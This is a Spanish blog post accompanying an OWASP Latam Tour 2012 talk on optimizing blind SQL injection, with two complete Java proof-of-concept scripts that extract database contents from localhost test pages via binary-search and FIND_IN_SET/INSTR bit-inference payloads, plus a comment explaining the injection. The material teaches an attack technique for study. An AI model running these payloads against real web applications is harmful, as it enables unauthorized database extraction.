domingo, 13 de mayo de 2012

FIND_IN_SET BSQLi (DEMO)

Hola a todos, como sabrán el sábado 12 fue el "OWASP Latam Tour 2012". Este año tuve la oportunidad de participar como expositor con una charla sobre "Optimizacion de Blind SQLi". En resumen quise mostrar un método de extracción de datos bastante interesante y eficiente. Para ello hice una demo en vídeo que quiero compartir con ustedes también aquí en el blog.

Bueno sin más los dejo con el vídeo. Las diapositivas las comparto luego :) Las diapositivas de todas las charlas están publicadas en:

https://www.owasp.org/index.php/LatamTour2012_LIM_Agenda




Actualización:

Esta actualización es para compartir el código de las PoCs empleadas en el vídeo.

Debo hacer una aclaración, el test de FindInSet, como se puede ver en el video, se hizo sobre una página que muestra un comportamiento bastante especial: se pueden usar 3 páginas de respuesta diferentes. Dos de ellas representan el SI y el NO de una típica explotación blind y la tercera representa el fin de la cadena binaria.

Por último, como dije en la exposición, si el código no esta del todo bien... es por que lo hice de madrugada y ya tenía sueño xD


BinarySearchTest.java
import java.io.PrintStream;
import java.net.Socket;
import java.util.Date;
import java.util.Scanner;

public class BinarySearchTest {

    private Socket sk;
    private Scanner in;
    private PrintStream out;
    public int ncon =0;

    public boolean conectar() {
        try {
            sk = new Socket("localhost", 80);
            in = new Scanner(sk.getInputStream());
            out = new PrintStream(sk.getOutputStream());
        } catch (Exception e) {
            System.out.println("Error al conectar con el servidor.");
            return false;
        }
        return true;
    }

    public void desconectar() {
        try {
            out.close();
            in.close();
            sk.close();
        } catch (Exception e) {
        }
    }

    public void inyectar(String payload) {
        String mensaje = ""
                + "GET /test.php?id=" + payload + " HTTP/1.1\r\n"
                + "Host: localhost\r\n"
                + "Connection: close\r\n"
                + "\r\n";
        out.print(mensaje);
        ncon++;
    }

    public String leer() {
        String respuesta = "";
        while (in.hasNext()) {
            respuesta += in.nextLine() + "\n";
        }
        return respuesta;
    }

    public boolean interpretar(String respuesta) throws Exception {
        if (respuesta.indexOf("<h1>SI</h1>") >= 0) {
            return true;
        } else if (respuesta.indexOf("<h1>NO</h1>") >= 0) {
            return false;
        } else {
            throw new Exception("No se puede interpretar la respuesta.");
        }
    }

    public String crearPayload(int pos, int inf, int sup) {
        int med = (inf + sup) / 2;
        String payload = "1+AND+(SELECT+ASCII(MID(data," + pos + ",1))+FROM+test.test)+>+" + med;
        return payload;
    }

    public void atacar() {
        int linf, lsup;
        for (int i = 1; i <= 100; i++) {
            linf = 0;
            lsup = 255;
            while (linf != lsup) {
                String payload = crearPayload(i, linf, lsup);
  //System.out.println("i=" + i + " payload=" + payload);
                if (conectar()) {
                    inyectar(payload);
                    String respuesta = leer();
                    try {
                        if (interpretar(respuesta)) {
       if((lsup-linf) == 1) {
    linf = lsup;
                            } else {
                             linf = (linf + lsup) / 2;
       }
                        } else {
       if((lsup-linf) == 1) {
                                lsup = linf;
                            } else {
                                lsup = (linf + lsup) / 2;
       }
                        }
                    } catch (Exception e) {
                        System.out.println(e.getMessage());
                        System.exit(0);
                    }
                    desconectar();
                } else {
                    System.exit(0);
                }
            }
            System.out.print((char)linf);
        }
 System.out.println("\nTerminado.");
    }

    public static void main(String[] args) {
        BinarySearchTest test = new BinarySearchTest();
 long milis = new Date().getTime();
        test.atacar();
 System.out.println("Milisegundos: " + (new Date().getTime() - milis));
        System.out.println("Consultas: " + test.ncon);
    }
}

FindInSetTest.java
import java.io.PrintStream;
import java.net.Socket;
import java.util.Date;
import java.util.Scanner;

public class FindInSetTest {

    private Socket sk;
    private Scanner in;
    private PrintStream out;
    private String set = " eaoisnrldctupm,AgPb.vySWOhwqf0T2jz1E/L()MUIJC-:VxRF_4GQ5\"3Hk¿?BN8";
    public int ncon = 0;

    public boolean conectar() {
        try {
            sk = new Socket("localhost", 80);
            in = new Scanner(sk.getInputStream());
            out = new PrintStream(sk.getOutputStream());
        } catch (Exception e) {
            System.out.println("Error al conectar con el servidor.");
            return false;
        }
        return true;
    }

    public void desconectar() {
        try {
            out.close();
            in.close();
            sk.close();
        } catch (Exception e) {
        }
    }

    public void inyectar(String payload) {
        String mensaje = ""
                + "GET /test2.php?id=" + payload + " HTTP/1.1\r\n"
                + "Host: localhost\r\n"
                + "Connection: close\r\n"
                + "\r\n";
        out.print(mensaje);
        ncon++;
    }

    public String leer() {
        String respuesta = "";
        while (in.hasNext()) {
            respuesta += in.nextLine() + "\n";
        }
        return respuesta;
    }

    public int interpretar(String respuesta) throws Exception {
        if (respuesta.indexOf("<h1>PAG. 1</h1>") >= 0) {
            return 1;
        } else if (respuesta.indexOf("<h1>PAG. 2</h1>") >= 0) {
            return 2;
        } else if (respuesta.indexOf("<h1>VACIO</h1>") >= 0) {
            return 3;
        } else {
            throw new Exception("No se puede interpretar la respuesta.");
        }
    }

    public String crearPayload(int pos, int pos2) {
        String set = this.set.replace(' ', '+');
        String payload = "IF((@x:=MID(BIN(INSTR(binary\'" + set + "\',"+ "(SELECT+MID(data,"+ pos2 + ",1)+FROM+test.test)" + ")),"+ pos + ",1))in('1','0'),(@x%2B1),0)";
        return payload;
    }
    
    public char inferirCaracter(String cad) {
        int n = cad.length();
        int pos = 0;
        for(char c : cad.toCharArray()) {
            if(c == '1') {
                pos += Math.pow(2, n-1);
            }
            n--;
        }
        return set.toCharArray()[pos-1];
    }

    public void atacar() {
        for (int i = 1; i <= 100; i++) {
            boolean fin = false;
            int bit = 2;
            String cad = "1";
            while (!fin) {
                String payload = crearPayload(bit, i);
                //System.out.println("i=" + i + " bit=" + bit + " payload=" + payload);
                if (conectar()) {
                    inyectar(payload);
                    String respuesta = leer();
                    try {
                        switch (interpretar(respuesta)) {
                            case 1:
                                cad += "0";
                                bit++;
                                break;
                            case 2:
                                cad += "1";
                                bit++;
                                break;
                            case 3:
                                fin = true;
                                break;
                        }
                    } catch (Exception e) {
                        System.out.println(e.getMessage());
                        System.exit(0);
                    }
                    desconectar();
                } else {
                    System.exit(0);
                }
            }
            char c = inferirCaracter(cad);
            System.out.print(c);
        }
        System.out.println("\nTerminado.");
    }

    public static void main(String[] args) {
        FindInSetTest test = new FindInSetTest();
        long milis = new Date().getTime();
        test.atacar();
        System.out.println("Milisegundos: " + (new Date().getTime() - milis));
        System.out.println("Consultas: " + test.ncon);
    }
}

Saludos.

2 comentarios:

  1. Hola man interesante , no pude asistir a tu expo, veo el video pero no entiendo mucho el codigo de java ya que en el video no se bien. jejeje seria bueno lo postees aki tambien es interesante eso de las @:=
    Bueno man danos una manito colgandolo XD jejejej

    ResponderEliminar
  2. Hola Jesu, post actualizado

    La inyección que se usa en FindInSetTest.java va mas o menos así:

    IF(( @x:=MID(BIN(INSTR(binary'abc...',(SELECT MID(data,1,1) FROM test.test))),1,1)) in ('1','0'), (@x+1), 0)

    Primero se le asigna a la variable @x el primer bit de la posición de la letra buscada dentro del conjunto. Si ese bit es 0 o 1 el IF devuelve su valor más uno (1 o 2), en caso contrario (cuando MID devuelve cadena vacía, es decir se ha llegado al final de la cadena binaria) se devuelve un 0 (en la tabla no hay registros con id 0)

    No sé si me dejo entender xD En todo caso te dejo este link donde se explica la técnica:

    http://alguienenlafisi.blogspot.com/2011/04/findinset-optimized-blind-mysql.html

    Saludos

    ResponderEliminar